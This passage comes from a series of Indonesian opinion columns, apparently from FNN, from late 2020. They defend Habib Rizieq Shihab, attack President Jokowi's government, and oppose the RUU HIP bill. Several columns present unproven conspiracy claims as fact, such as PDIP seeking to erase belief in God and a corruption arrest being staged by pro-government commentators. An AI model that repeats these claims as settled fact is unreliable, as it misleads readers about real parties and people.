pada pilihan yang sangat pahit. Maju kena, mundur juga ikut terkena dampak. Gelombang potensial ketiga adalah bangkitnya massa pereaksi Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) dan RUU Badan Pembinaan Ideologi Pancasil (BPIP). Sinyal kuat yang terkirim dari DPR adalah pemaksaan RUU HIP dan BPIP untuk masuk agenda Program Legislasi Nasional (Prolegnas) Prioritas 2021. Perlawanan terhadap pemaksaan RUU HIP dan BPIP ini diperkirakan akan keras, apapun resiko yang dihadapi para penentang. Perlawanan atas penyelundupan nilai-nilai kiri faham komunis pada RUU HIP dan BPIP tersebut, akan membangun solidaritas umat Islam yang anti komunis atau mewaspadai bangkitnya Partai Komunis Indonesia (PKI) model baru. Gelombang perlawanan ideologis bukan masalah kecil. Temanya strategis membela dan menjaga keselamatan ideologi Pancasila. "Tiga Ledakan" ini awalnya tentu saja dapat dikendalikan. Tetapi jika spirit perjuangan menguat, maka seperti biasa dalam pergerakan politik dimana pun berujung pada situasi yang tak terkendali. Gerakan perubahan politik dan desakan untuk mundur Presiden Jokowi merupakan suatu keniscayaan. Perasaan sama pada rakyat tak akan reda oleh penangkapan atau penekanan. Sikap pemerintah yang represivitas hanya menjadi sebab dari perubahan yang bakalan lebih cepat. Apalagi pemerintahan Jokowi sebenarnya rapuh. Banyak faktor lain yang menyulitkan keajegan pemerintahan Jokowi. Milsanya, kondisi keuangan negara yang semakin ambyar, tekanan kehidupan atas pendapatan dan kebutuhan hidup keluraga, Pemutusan Hubungan Kerja (PHK) utang yang hampir mencapai Rp 7.000 triliun membuat kondisi pemerintahan makin goyah. Rakyat yang semakin jenuh dengan kebijakan penanganan pandemi Covid 19. Apalagi pemerintah terlihat tidak konsisten dan tak jelas arahnya. Suka berubah-ubah sesuai yang dimimpikan. Pagi tempe, sore bisa saja dele. Konflik global Amerika-Cina yang memang"diundang" untuk hadir meramaikan dinamika politik domestik. Kini Polisi dan TNI cukup mampu terkendali "secara baik". Namun bukan mustahil perkembangan politik ke depan akan terjadi pembelahan disana-sini. Pemihakkan pada rakyat bakal terbentuk secara gradual atau mungkin bisa lebih cepat yang diperkirakan sebelumnya. Pemerintahan Jokowi diharapkan arif menimbang cara menangani perbedaan dalam masyarakat. Jangan arogan, sok punya kekuasaan dan sekedar mengandalkan kekuatan aparat untuk membungkam rakyat. Api kejengkelan rakyat sulit diredam dengan alat paksa sekuat apapun. Ada fase fase yang tidak lagi peduli dengan rambu-rambu protokol. Situasi akan semakin sulit. Untuk itu, sebaiknya segera kembali untuk berbenah diri. Membangun kembali iklim dialogis dan konsensus yang terlanjur berantakan. Bukankah kandungan sila-sila Pancasila merupakan filosofi, metodologi, dan solusi bagi masalah yang dihadapi bangsa dan negara ? Jokowi tentu menyadari bahwa dirinya adalah figur yang tidak hebat amat. Karenanya perlu antisipasi atas kekuatan rakyat yang dipastikan amat hebat. Penulis adalah Pemerhati Politik dan Kebangsaan.

Penahanan Habib Rizieq Bisa Memicu People Power

by Tjahja Gunawan Jakarta FNN - Rabu (02/11). Sepulang dari Arab Saudi tanggal 10 November 2020, kini setiap gerakan Imam Besar Habib Rizieq Shihab selalu dipantau, diikuti dan dicari-cari kesalahannya. Sehingga wajar kalau kemudian ada meme yang beredar di grup-grup WA, "Semut yang mati pun sengaja dicari. Barangkali aja kematiannya akibat diinjak Habib Rizieq". Sejumlah kalangan yang memiliki otoritas di bidang polkam menyebutkan bahwa Habib Rizieq Shihab kini sedang dalam operasi intelijen. Operasi ini dijalankan oleh oknum aparat kepolisian, pejabat birokrasi dan TNI serta sejumlah kelompok massa bayaran. Oleh karena itu operasi intelejen ini bukan hanya menarget Markas FPI di Kawasan Petamburan Jakarta, tetapi juga Pondok Pesantren Alam dan Agrokultural Markaz Syariah di Kecamatan Megamendung, Kabupaten Bogor, Jawa Barat. Bahkan ketika Habib Rizieq Shihab melakukan general check up di RS Ummi Bogor, rumah sakit tersebut tidak lepas dari kegiatan operasi intelijen juga. Tiba-tiba Wali Kota Bogor Bima Arya murka kepada RS Ummi hanya karena menerima pasien bernama Habib Rizieq Shihab yang melakukan check up kesehatan di RS tersebut. Ketika Habib Rizieq mengunjungi cucunya di Perumahan Mutiara Sentul Bogor, Jawa Barat, juga tidak lepas dari rangkaian operasi intelijen. Sejumlah massa bayaran sengaja mendatangi kompleks perumahan tersebut sekaligus meminta agar Habib Rizieq keluar dari kawasan tersebut karena Imam Besar Umat Islam ini dianggap sudah terpapar Covid19. Nah Covid 19 inilah yang sekarang dijadikan instrumen untuk memukul ruang gerak Habib Rizieq. Covid19 telah dijadikan alat untuk mencegah rencana safari dakwah Habib Riziek di Tanah Air. Kegiatan dakwah itu sebenarnya disusun berdasarkan permintaan dari para tokoh ulama dan masyarakat di sejumlah daerah di Indonesia. Mereka sangat rindu dengan tausiah Habib Rizieq. Maklum sudah tiga setengah tahun Umat Islam tidak mendengar langsung Pidato Habib Rizieq yang menggelegar tentang amar ma'ruf nahi munkar. Rencana safari dakwah tersebut juga sudah disampaikan Ketua Umum Front Pembela Islam (FPI) KH. Shobri Lubis, pada saat peringatan Maulid Nabi Muhammad SAW di Kawasan Petamburan Sabtu Malam 14 November 2020. Namun rupanya rezim penguasa Jokowi merasa gusar dengan pidato Habib Rizieq tentang Revolusi Akhlak. Sangat boleh jadi Jokowi merasa tersaingi dengan pidato Habib Rizieq soal Revolusi Akhlak karena program Revolusi Mental yang dicanangkan Jokowi sejak Pemilu Presiden tàhun 2014 sampai sekarang tidak menampakan hasil yang signifikan. Bahkan kinerja pemerintahan terus menurun akibat banyaknya pejabat yang korupsi. Sementara utang pemerintah dan BUMN terus membengkak sedangkan keuangan negara mengalami defisit. Saat ini rezim penguasa masih terus mencari cara untuk bisa menangkap Habib Rizieq Shihab. Sangat boleh jadi mereka merasa ruwet menghadapi strategi yang digunakan Habib Rizieq. Upaya provokasi yang dilakukan aparat keamanan dengan menggunakan institusi TNI sudah dilakukan dengan mengerahkan sejumlah pasukan TNI lengkap dengan kendaraan perangnya ke Kawasan Petamburan. Pemeriksaan kesehatan (tes swab) dalam rangka pelaksanaan protokol kesehatan juga sudah dilaksanakan. Namun rencana mereka untuk menjadikan Kawasan Petamburan sebagai klaster baru Covid19 ternyata gagal karena berdasarkan pemeriksaan kesehatan terhadap masyarakat disana hasilnya negatif.Justru episentrum Covid19 sekarang pindah ke Jawa Tengah. Narasi dan opini yang sekarang hendak dibangun rezim penguasa adalah menjadikan Habib Rizieq Shihab sebagai sosok penyebar penyakit Covid19. Namun kenyataannya justru terbalik. Berdasarkan general check up beliau di RS UMMI Bogor, Habib Rizieq Shihab justru dinyatakan sehat walafiat. Alhamdulillah. Pemberlakuan protokol kesehatan yang ketat nampaknya hanya berlaku bagi Habib Rizieq Shihab. Sementara kerumunan massa pada kampanye anak mantu Jokowi dalam rangkaian Pilkada di Kota Solo dan Medan, justru diabaikan. Sebaliknya kegiatan Maulid Nabi Muhammad SAW pada Sabtu 14 November lalu di kawasan Petamburan, malah dipersoalkan dan dicari-cari kesalahannya. Kalau rezim penguasa Jokowi terus mencari-cari kesalahan agar bisa menahan Imam Besar Umat Islam Habib Rizieq, risiko politiknya sangat besar. Penahanan Habib Rizieq justru bisa memicu aksi massa turun ke jalan untuk melakukan gerakan People Power. Gerakan People Power ujungnya bisa pada gerakan penggulingan kekuasaan presiden secara paksa melalui aksi demonstrasi rakyat. Jika seluruh rakyat sudah turun ke jalan, sangat mungkin Presiden Jokowi akan dipaksa untuk melektakkan jabatannya karena dinilai telah melanggar konstitusi atau melakukan penyimpangan. Munculnya gerakan People Power merupakan perlawanan dan bentuk protes terhadap bentuk kezaliman dan kesewenangan para penguasa. Pasca pemilu di Indonesia 2019 lalu, istilah People Power sebenarnya sudah mulai ramai diperbincangkan. Banyak rakyat Indonesia yang ingin memberontak terhadap berbagai kebijakan penguasa yang menyimpang. Masyarakat meyakini bahwa ada yang tidak beres di balik sistem pemerintahan yang berjalan selama ini. Pemerintah dikendalikan oleh kekuatan oligarki dan para cukong yang memiliki dana tak terbatas. Di Indonesia, gerakan People Power pernah terjadi ketika masyarakat menggulingkan rezim Presiden Soeharto pada Mei 1998 yang menuntut reformasi dan perubahan. Salah satu faktor yang memicu rakyat Indonesia meminta perubahan adalah fenomena krisis moneter sejak Juli 1997. Akibat adanya krismon, amarah rakyat Indonesia tak terbendung lagi. Mereka menuntut perubahan hingga turun ke jalan. Dari sanalah lahir Orde Reformasi yang ditandai dengan lengsernya Soeharto, Presiden kedua Republik Indonesia.Saat ini kondisi Indonesia tidak jauh berbeda dengan tàhun 1998 bahkan sekarang jauh lebih parah. Sebagian kalangan ada juga yang menganalisa, rezim penguasa sekarang bisa saja melakukan "bunuh diri politik". Yakni skenario penggulingan kekuasaan melalui People Power yang sengaja dirancang oleh penguasa sendiri karena ketidakmampuan mengatasi persoalan ekonomi saat ini. Lalu nanti yang dijadikan sebagai kambing hitamnya adalah Umat Islam. Wallohu a'lam bhisawab. Penulis Wartawan Senior FNN.co.id

Seandainya Jokowi dan Habib Rizieq Bertemu

by Nuim Hidayat Jakarta FNN - Rabu (02/12). Melihat hiruk pikuk politik di tanah air, kadang kita jenuh. Mengapa tidak ada terobosan baru dalam dunia politik di Indonesia? Mengapa Habib Rizieq harus dicurigai terus menerus? Mengapa pemerintah tidak melihat prestasi Habib dalam menyadarkan kaum penzina, pemabuk dan preman? Seandainya Jokowi mau bertemu Habib saya yakin banyak masalah di Indonesia bisa diselesaikan. Habib bisa membantu Jokowi menyelesaikan masalah dengan umat Islam Indonesia. Habib bisa menjelaskan tentang aspirasi apa sebenarnya yang diinginkan mayoritas umat Islam Indonesia. Jika pemerintah melakukan pendekatan kepada Habib –melalui bidikan hukum- seperti sekarang ini, masalah tidak akan selesai. Karena Habib mempunyai ratusan ribu/jutaan pendukung. Apalagi bila Habib dipenjara, bukan tidak mungkin akan terjadi kerusuhan terus menerus di negeri ini. Para founding fathers kita sebenarnya telah mengajarkan agar para pemimpin bangsa ini mengedepankan dialog atau musyawarah bila ada masalah. Lihatlah ketika bangsa ini akan merdeka, untuk menentukan dasar negara maka mereka berdialog, berdebat berhari-hari. Meski kemudian aspirasi tokoh Islam dipinggirkan -Islam sebagai dasar negara diabaikan- tokoh-tokoh Islam tetap mengedepankan dialog. Hingga dialog terjadi hampir tiga tahun lamanya (1956-1959) untuk menentukan dasar negara. Lagi-lagi setelah itu aspirasi Islam disingkirkan. Piagam Jakarta dikatakan menjiwai UUD 45, tapi dalam kenyataannya tidak pernah ada pendetailan undang-undang tentang hal ini. Puncaknya adalah organisasi terbesar umat Islam Partai Masyumi dibubarkan 1960. Tokoh-tokoh Islam dipenjara, seperti M Natsir, Burhanuddin Harahap, Yunan Nasution, Hamka dan lain-lain (ekonomi politik di Indonesia). Proklamasi Darul Islam dan Pemberontakan Kartosuwiryo dan kawan-kawan terjadi karena ‘pemerintah menyerah kepada Belanda 1949’. Masalah dengan Habib Rizieq bila pendekatannya hukum, maka tidak akan selesai. Masalah ini akan selesai bila Jokowi mau bertemu dengan Habib. Dan Habib saya yakin akan berterus terang menyampaikan aspirasi umat Islam Indonesia. Habib adalah seorang ulama terkemuka Indonesia saat ini yang punya jiwa ukhuwah. Ketika masalah Syii dan Sunni meruncing, Habib memberikan jalan keluar. Ketika masalah Jaringan Islam Liberal dan Kaum Muslim memuncak, Habib menulis buku tentang kesesatan kaum liberal. Meski terjadi ‘kekerasan kecil terhadap kaum liberal’ tapi Habib terbuka bila tokoh Islam Liberal mau dialog atau debat dengannya. Habib juga tidak pengecut, menghindar dari hukum, ketika ia dituduh Sukmawati melecehkan Soekarno. Ketika Habib menyatakan bahwa usulan Soekarno tentang Pancasila menempatkan Ketuhanan di pantat (nomer lima)… Tuduhan chat pornonya dengan Mirza Husein juga Habib hadapi dengan ‘gentle’. Habib tidak lari dari masalah. Ia keluar negeri untuk umroh dan ‘merenung sejenak’. Makanya ia berani kembali ke tanah air, karena ia bukan pengecut. Menkopolhukam saat itu ‘bohong’ ketika menyatakan bahwa kalau Habib ingin pulang, pulang saja. Padahal dalam kenyataan saat itu –menurut Dubes Saudi- yang menghalangi kepulangan Habib ke tanah air bukan pemerintah Saudi, tapi pemerintah Indonesia. Karena sikap sinis Mahfud MD yang ‘terus menerus’ kepada Habib Rizieq, jangan heran kini masyarakat Pamekasan ramai-ramai mendemo rumahnya di Madura. Masyarakat bawah –mungkin dari seluruh Indonesia- menyadari bahwa Habib Rizieq sedang dizalimi pemerintah. Maka jalan terbaik menyelesaikan masalah ini adalah Jokowi harus membuka diri dan berani bertemu dengan Habib Rizieq. Jangan dengarkan bila ada orang-orang sekelilingnya yang mencegah pertemuan ini. Kalau Jokowi tidak berani bertemu dengan Habib Rizieq maka ia adalah ‘pengecut’. Contohlah dulu para founding fathers kita yang berani berdialog tentang dasar negara, meski saat itu berwarna warni ideologi yang dianut mereka. Untuk menyelesaikan masalah bangsa itu dengan dialog, bukan dengan pendekatan hukum, pemenjaraan dan lain-lain. Pemenjaraan terhadap Jumhur Hidayat, Syahganda Nainggolan dan lain-lain tidak menyelesaikan masalah. Ideologi tidak bisa dihapus dengan penjara, bahkan senjata. Tetapi ideologi –dalam tataran praktis- bisa didalogkan. Bisa dimusyawarahkan, untuk mencari jalan terbaik. Dan ini adalah nilai mulia al Quran. Musyawarah antar tokoh bangsa (atau intelektual/ulama) untuk memecahkan masalah bangsa ini. Banyak masalah bangsa yang harus diselesaikan, mulai dari kebodohan, kemiskinan, ketamakan dan lain-lain. Marilah kita renungkan ayat Al Quran yang mulia ini, "Maka berkat rahmat Allah lah engkau (Muhammad) berlaku lemah lembut terhadap mereka. Sekiranya engkau bersikap keras lagi berhati kasar, tentulah mereka akan menjauhkan diri dari sekitarmu. Karena itu, maafkanlah mereka dan mohonkanlah ampunan untuk mereka, dan bermusyawarahlah dengan mereka dalam urusan itu. Kemudian, apabila engkau telah membulatkan tekad, maka bertawakkallah kepada Allah. Sesungguhnya Allah mencintai orang-orang yang bertawakal. – (Q.S Ali Imran: 159)" ll Penulis adalah Pemerhati Sosial dan Kemasyarakatan.

Publik Konsentrasi ke Habib Rizieq, PDIP Sibuk Memaksakan RUU HIP

by Asyari Usman Medan FNN - Rabu (02/12). Rakyat harus terus ‘alert’, tetap waspada. PDIP masih memaksakan RUU HIP (Haluan Ideologi Pancasila) menjadi UU. Mereka akan lakukan segala cara untuk meloloskan itu di DPR. Suasana politik yang sedang riuh saat ini sangat menguntungkan Partai Banteng. Mereka punya kesempatan baik. Kasak-kusuk mereka untuk menggolkan RUU HIP tak terlihat oleh publik. Karena konsentrasi publik tertuju pada upaya penguasa untuk menjerat Habib Rizieq Syihab (HRS). Posisi terakhir, PDIP berkeras agar RUU anti-ketuhanan itu masuk rombongan Program Legislasi Nasional (Prolegnas) Prioritas 2021. Artinya, RUU ini akan mereka paksakan lolos tahun depan. Di DPR, PDIP merasa kuat. Dan mereka dengan segala cara menggiring sejumlah fraksi untuk mendukung keinginan mereka yang sangat berbahaya itu. Itulah sasaran PDIP, yaitu penghapusan Pancasila. Partai ini akan mengusahakan sekuat tenaga agar Pancasila menjadi Trisila kemudian menjadi satu sila (Ekasila) saja. Mereka ingin mengganti Pancasila dengan sila gotong-royong saja. Ini akan terealisasi jika RUU HIP bisa lolos. Rakyat jangan pernah lengah. Jangan lupa dengan tujuan akhir PDIP: yaitu menghapuskan sila Ketuhanan Yang Maha Esa (YME). Partai berlambang kepala banteng ini tidak pernah senang dengan konsep Ketuhanan YME. Sebab, konsep ini adalah pondasi Tauhid yang menjadi pilar utama Islam. PDIP tidak suka ini. Sebab, dari Ketuhanan YME itulah lahir kewajiban negara untuk melindungi semua agama, termasuk Islam. Atas dasar sila pertama Pancasila ini pula terkristalkan praktik pemerintahan dan ketatanegaraan yang memberikan ruang bebas untuk pendidikan agama. Ruang bebas untuk pengembangan dakwah, dan fasilitasi bagi penerapan sejumlah hukum syariat yang sangat fundamental dalam sistem sosial umat Islam. Ini yang membuat para petinggi PDIP tak bisa tenang. Mereka tak henti-hentinya mencoba agar agama, khususnya, Islam tidak terus menjadi kekuatan sosial-politik yang solid. Partai yang sangat ramah dengan paham komunis ini kelihatannya menghendaki agar manusia Indonesia tak kenal Tuhan. Kalaupun bertuhan juga, maka konsep ketuhanan itu cukup berbasis kebudayaan saja. Sebagai contoh, yang beragama Islam hanya menjalankan ritual tanpa syariat. Cukuplah bertuhan dengan mengedepankan upacara-upacara tradisional tanpa panduan kitab suci. Itu yang mereka sebut “ketuhanan yang berkebudayaan”. Inilah yang ingin dibangun PDIP. Untuk tujuan itu, mereka harus melenyapkan sila Ketuhanan YME. Untuk menghapus sila pertama itu mereka perlu UU HIP. Untuk sampai ke sini, PDIP akan berjuang keras agar RUU yang ditentang rakyat itu bisa disahkan tahun depan (2021). Jadi, jangan Anda pernah lengah. PDIP sudah berhasil menyelipkan RUU HIP ke Prolegnas Prioritas 2021 di tengah kisruh soal Habib Rizieq, heboh Pilkada, dan carut-marut penanganan Covid-19. Untuk itu, perlu waspada, taruhannya sangat besar. PDIP akan menyeludupkan RUU kontroversial itu sampai ketuk palu menjadi UU. Penulis adalah Wartawan Senior FNN.co.id

Mungkinkah OTT Edhy Prabowo Itu Skenario Abu Janda Cs?

by Asyari Usman Medan FNN - Selasa (01/12). Banyak pertanyaan yang tersisa terkait penangkapan Edhy Prabowo. Misalnya, apakah OTT itu murni pemberantasan korupsi? Tidakkah sedang berlangsung persilatan politik antara berbagai kekuatan koalisi penguasa yang sejatinya adalah koalisi sesama makhluk buas yang saling incar? Mungkinkah OTT ini sebagai sinyal kepada Prabowo Subianto (PS) bahwa Jokowi yang dia jadikan harapan untuk Pilpres 2024 itu ternyata bukan pemegang kekuasaan yang sesungguhnya? Atau, apakah ini isyarat kepada PS agar jangan terlalu maju di kabinet? Banyak lagi pertanyaan yang menggantung. Semuanya sangat mungkin. Dan semakin lama Anda menatap isu penangkapan Edhy, semakin keras keyakinan Anda bahwa tidak ada satu pun teori yang bisa dikesampingkan. Termasuklah terori OTT itu merupakan isyarat kepada Prabowo bahwa beliau tidak akan pernah diterima oleh seluruh komponen Jokowi, khususnya para buzzer. Dan sangat besar kemungkinan penangkapan Edhy adalah skenario yang disiapkan dengan rapi oleh gerombolan buzzer Istana. Tepatnya, OTT Edhy boleh jadi adalah skenario Abu Janda, dkk. Mengapa bisa diduga seperti itu? Karena Abu Janda Cs kehilangan objek besar untuk olok-olokan setelah Prabowo masuk ke kabinet Jokowi. Si Abu dan gerombolannya tak lagi punya sosok besar untuk dibully begitu Prabowo sekubu dengan mereka. Jadi, setelah lebih setahun berlalu, Abu Janda dkk menyimpulkan bahwa Prabowo masuk kabinet membuat lahan pekerjaan mereka berkurang banyak. Tempohari, sebelum Prabowo bergabung, banyak sekali kreasi olok-olok dan caci-maki mereka. Sekarang berkurang drastis. Karena itu, sangat mungkin Abu Janda dkk bersiasat agar Pabowo tak betah di kabinet. Boleh jadi merekalah yang membuat skenario apik dan halus. Sampai akhirnya Edhy Prabowo kena OTT. Abu Janda dkk berharap PS akan mundur dari kabinet gara-gara OTT Edhy. Begitu mundur akan langsung dibully oleh gerombolan si Abu. Bahan olok-olokan empuk balik ke posisi awal. The best bullying back to business. Ternyata itu tidak terjadi. Prabowo tidak keluar. Dia akan terus setia pada Jokowi. Ini yang membuat Abu dan orang-orangnya kecewa berat. Kini, Abu dan gerombolannya harus terus makan hati sampai 2024. Kecuali ada OTT dahsyat di Kemenhan.[] (Penulis wartawan senior FNN.co.id)

HRS Diduga “Dikriminalisasi”, Pertanda Pemerintah Semakin Panik?

by Mochamad TohaSurabaya FNN - Selasa (08/12). Terlepas dari banyaknya kontroversi, FPI dan Habib Muhammad Rizieq Shihab (HRS) merupakan fenomena politik di Indonesia. Terbaru, sejak kepulangannya, setelah “bermukim” di Arab Saudi selama 3,5 tahun, HRS kembali menjadi sebuah kontroversi. Membawa jargon “Revolusi Akhlak”, kini HRS kembali “dibidik” Pemerintah RI lagi. Sejumlah upaya yang diduga “kriminalisasi” HRS pun dilakukan. Pertanyaannya: Mengapa HRS?! Awalnya, HRS akan dibidik dengan “Klaster Petamburan” terkait dengan kerumunan massa saat menikahkan putrinya di Petamburan, Jakarta Pusat, setelah kedatangan HRS. Sebelumnya diketahui, Satgas Penanganan Covid-19 beberapa waktu lalu menyebut muncul klaster penularan virus corona (Covid-19) di wilayah Petamburan. Hal ini kemudian dibantah oleh epidemiolog dari Fakultas Kesehatan Masyarakat Universitas Indonesia (FKM UI). Menurut Epidemiolog Pandu Riono, berdasarkan data yang dimiliki FKM-UI, kenaikan kasus positif Covid-19 di DKI Jakarta tersebit berasal dari klaster keluarga usai libur panjang 28 Oktober-1 November 2020. Meski terjadi kerumunan saat HRS pulang, belum ada klaster kerumunan Petamburan yang tercatat. “Menurut saya enggak ada klaster Petamburan, yang positif memang banyak, tapi enggak ada kaitannya dengan klaster kerumunan itu. Kalau klaster keluarga yang berlibur, itu ada,” kata Pandu Riono, kutip CNNIndonesia.com, Selasa (24/11). Pandu mengatakan, lonjakan kasus di DKI Jakarta justru berasal dari aktivitas libur panjang ketimbang kerumunan HRS. Dari data yang ia miliki tersebut, belum ada laporan kasus positif Covid-19 akibat kerumunan yang terjadi di Petamburan dan Tebet. Dan, bahkan, di Bandara Internasional Soekarno-Hatta, yang terjadi karena kerumunan massa saat kedatangan Rizieq. “Bahwa, menurut FKM-UI dari data yang ada belum ditemukan klaster akibat kerumunan di Petamburan dan Tebet, kenaikan kasus di Jakarta lebih mungkin terjadi akibat dampak libur panjang,” ujarnya, seperti dilansir Detik.com, Rabu (25 Nov 2020 06:27 WIB). Sebelumnya, Kementerian Kesehatan menyampaikan hasil tracing terhadap warga yang mengikuti kegiatan terkait kerumunan massa HRS, mulai dari Petamburan, Tebet, hingga Megamendung. Kemenkes menyebut di Tebet ditemukan 50 orang positif Corona. Dari hasil tracing dan testing pada sejumlah kejadian tersebut berdasarkan hasil pemeriksaan PCR di Lakesda 21 November ditemukan di Tebet total 50 kasus positif, dan di Petamburan sebanyak 30 kasus dan di Megamendung terdapat 15 sedang menunggu hasil pemeriksaan. Itu disampaikan Plt Ditjen Pencegahan dan Pengendalian Penyakit Kemenkes dr. Muhammad Budi Hidayat, dalam konferensi pers yang disiarkan di YouTube BNPB Indonesia, Minggu (22/11/2020). Bisa disebut, upaya “menjaring” HRS lewat tracing dan testing di Petamburan itu ternyata gagal. Termasuk yang di Megamendung, gagal pula menjerat HRS dengan membuat klaster baru: Klaster Megamendung! Apakah “pemburuan” atas HRS berhenti sampai di sinikah? Tidak! Melalui tangan Walikota Bogor Bima Arya, HRS diburu ke RS Ummi di Kota Bogor saat HRS dirawat di sini. Dengan dalih ingin mengetahui hasil Swab HRS, Bima memaksa RS Ummi “transparan”. Ngototnya Walikota Bima Arya menuntut pemeriksaan ulang tes swab terhadap HRS sudah keterlaluan. Bima Arya bahkan rela mondar-mandir ke RS Ummi, untuk memaksa manajemen RS menuruti keinginannya. Tak hanya itu. Ia bahkan melaporkan RS Ummi ke polisi dengan tuduhan menghalang-halangi pemeriksaan dan pemberantasan Covid-19. Padahal Dirut RS Ummi, Andi Tatat, sudah mengumumkan, termasuk kepada media, bahwa hasil tes swab HRS negatif. Habib hanya kelelahan karena kegiatan bertubi-tubi usai kepulangannya dari Saudi. Hasil tes juga sama sekali tidak menunjukkan gejala-gejala ke arah Covid-19. Sejumlah UU tentang Rumah Sakit, UU Kesehatan, bahkan UU Keterbukaan Publik sudah mengatur soal ini dengan benderang. Intinya, melarang membuka informasi kesehatan pasien ke hadapan publik. “Jadi, kenapa Bima ngotot terus? Adakah tangan-tangan kekuasaan yang menekan dia? Atau, dia sedang menjalankan tugas untuk mengamankan jabatannya?” tukas Presidium Aliansi Selamatkan Merah Putih (ASMaPi), Edy Mulyadi. Bahkan, Bima meminta HRS melakukan tes “swab ulang”. Menurut Dewan Pakar Ikatan Cendekiawan Muslim Indonesia (ICMI) Anton Tabah, Bima Arya tidak memiliki hak untuk mendesak atau memaksa HRS melakukan tes Covid-19 untuk kedua kalinya. “Negara itu telah membagi habis tupoksi pada masing-masing lembaga supaya profesional, bertanggung jawab, pasti dan tepat. Soal kesehatan seperti swab itu tupoksi dokter, bukan tupoksi walikota,” ujar Anton Tabah, seperti dilansir RMOL.com, Sabtu (28/11/2020). UU 8/1999 tentang Perlindungan Konsumen dan UU 29/2004 tentang Perlindungan Pasien, Anton menjelaskan sejumlah hak yang bisa didapat seseorang yang menjadi pasien. Ada hak kenyamanan, hak keamanan, hak keselamatan, hak atas informasi yang jelas, jujur mengenai kondisi pasien, hak didengar pendapat pilihan keluhan, hak mendapat advokasi, hak diperlakukan secara adil, benar dan tidak diskriminatif. Bahkan, Anton menyebutkan hak perlindungan pasien yang tercantum di dalam UU 29/2004 tentang Praktik Kedokteran. “Dalam pasal 52 (UU Praktik Kedokteran) lebih jelas lagi, antara lain hak tentang tindakan medis, meminta pendapat dokter lain atau second opinion. Jadi, seandainya perlu swab ulang dari dokter lain itu harus permintaan pasien yang bersangkutan, bukan dari pihak lain.” Dalam konteks pemeriksaan Covid-19 HRS, Anton Tabah justru mengapresiasi sosok ulama tersebut. Karena, swab testnya dilakukan secara mandiri. “Dan kata Direktur Utama RS Ummi Bogor Andi Tatat, ‘dari hasil screning tim kami, HRS tak terkena Covid. Beliau dalam keadaan sehat walafiat, segar, hanya kelelahan’. Tegas Dirut tersebut,” ungkap Anton Tabah. Ketua Presidium MER-C dr. Sarbini Abdul Murad dalam rilisnya, Sabtu, 28 November 2020, menyebutkan, terkait dengan HRS yang mempercayakan kepada MER-C untuk melakukan pemeriksaan dan pengawalan kesehatan. MER-C mengirim beliau untuk beristirahat di RS. Tapi, mendapatkan perlakuan yang kurang beretika dan melanggar hak pasien dari Walikota Bogor yang melakukan intervensi terhadap tim medis yang sedang bekerja, sehingga menganggu pasien yang sedang beristirahat. “Selain itu Walikota juga tidak beretika dalam mempublikasi kondisi pasien kepada publik, sehingga menimbulkan kesimpangsiuran dan keresahan bagi masyarakat,” kata dr. Sarbini Abdul Murad. Menurutnya, seharusnya Walikota Bogor itu mempercayakan hal ini kepada RS dan Tim Medis yang menangani karena tim medis mengetahui langkah-langkah apa yang perlu dan tak perlu dilakukan untuk menangani pasien. Diuber Polisi Tampaknya polisi masih bersikeras mengejar HRS. Penegakan hukum ini dinilai tak adil dan terlihat politis, terkait pemanggilan HRS oleh Polda Metro Jaya dalam dugaan pelanggaran protokol kesehatan Covid-19. Demikian dikatakan Direktur HRS Center Abdul Chair Ramadhan dalam pernyataan, seperti dikutip Suaranasional, Senin (30/11/2020). Abdul Chair menyebut, HRS telah membayar denda administratif Rp 50 juta sesuai dengan peraturan Pemprov DKI Jakarta. Menurut asas “nebis in idem”, maka seharusnya terhadap HRS tidak dapat dilakukan proses hukum. Maka, “Penyidikan lebih bermuatan politis ketimbang yuridis dan oleh karenanya cenderung dipaksakan,” jelas Abdul Chair. Penerapan hukum yang tidak berimbang ini adalah bentuk penyimpangan (deviasi) asas “equality before the law” dan “kepastian hukum yang adil” sebagaimana disebutkan dalam Pasal 27D Ayat (1) UUD 1945 dan Pasal 3 Ayat (2) Undang-Undang Hak Asasi Manusia. Ia mengatakan, masuknya Pasal 160 KUHP dalam proses penyidikan Protokol Kesehatan – termasuk, tetapi tidak terbatas pada kerumunan – dengan Terlapor HRS sangat ganjil. Sebelumnya dalam tahap penyelidikan tidak ada pasal tersebut. “Penyidik dan/atau Penuntut Umum memiliki alasan untuk melakukan penahanan. Disebutkan demikian, oleh karena ancaman hukuman Pasal 160 KUHP selama enam tahun,” ujarnya. “Pasal 21 Ayat (4) huruf a KUHAP menyebutkan bahwa penahanan terhadap Tersangka atau Terdakwa dalam hal tindak pidana yang diancam dengan pidana penjara lima tahun atau lebih,” jelasnya. Menurut Abdul Chair, terhadap HRS berpotensi dilakukan penahanan, ketika statusnya naik menjadi Tersangka dan/atau pada saat status Terdakwa. Ditegaskan kembali, tidak ada delik dalam PSBB dan Protokol Kesehatan dalam UU Kekarantinaan Kesehatan. “Sepanjang tidak ada pelanggaran UU Kekarantinaan Kesehatan, maka Pasal 160 KUHP dan 216 KUHP telah kehilangan objeknya,” tegas Abdul Chair. Penulis wartawan senior FNN.co.id

Ini Penyebab Habib Rizieq Harus "Kabur" dari RS

by Asyari Usman Medan FNN - Senin (30/11). Sebenarnya, tidak keliru kalau para buzzer dan pembenci ulama mengolok-olok Habib Rizieq Syihab (HRS) dengan istilah “kabur” dari RS Ummi di Bogor. Bisa dimakulimi ejekan itu. Mengapa? Karena Habib memang harus "kabur" menghadapi situasi di sekeliling RS itu. Bahaya kalau beliau tidak segera "kabur". Siapa pun orangnya pasti akan memilih cara itu. Tidak mungkin situasi waktu itu dihadapi dengan cara biasa. Tidak mungkin dengan cara normal. Sebab, semua yang menunggu di depan RS Ummi bukan makhluk yang berpikiran normal. Makhluk-makhluk itu sama sekali tidak mungkin berperilaku normal. Jadi, setelah direnungkan, betul juga penyebutan “kabur” oleh para buzzer dan pembenci ulama itu. Tidak salah mereka mengejek Habib "kabur" meninggalkan RS Ummi. Kemudian, para buzzer dan pembenci ulama mengatakan “kabur dari pintu belakang” RS. Bermasalahkah atau tidak narasi yang diviralkan oleh para buzzer dan musuh ulama itu? Tampaknya tidak ada masalah. Sebab, tak mungkin dari depan. Bahaya sekali. Terus, menurut definisi Kamus Besar Bahasa Indonesia (KBBI), kata “kabur” itu antara lain diartikan “berlari cepat-cepat” atau “melarikan diri”. HRS memang harus berlari cepat-cepat. Dan juga harus segera melarikan diri dari lokasi. Kalau tidak, bakal terjadilah peristiwa yang sangat fatal. Okey. Mungkin Anda akan mengatakan, 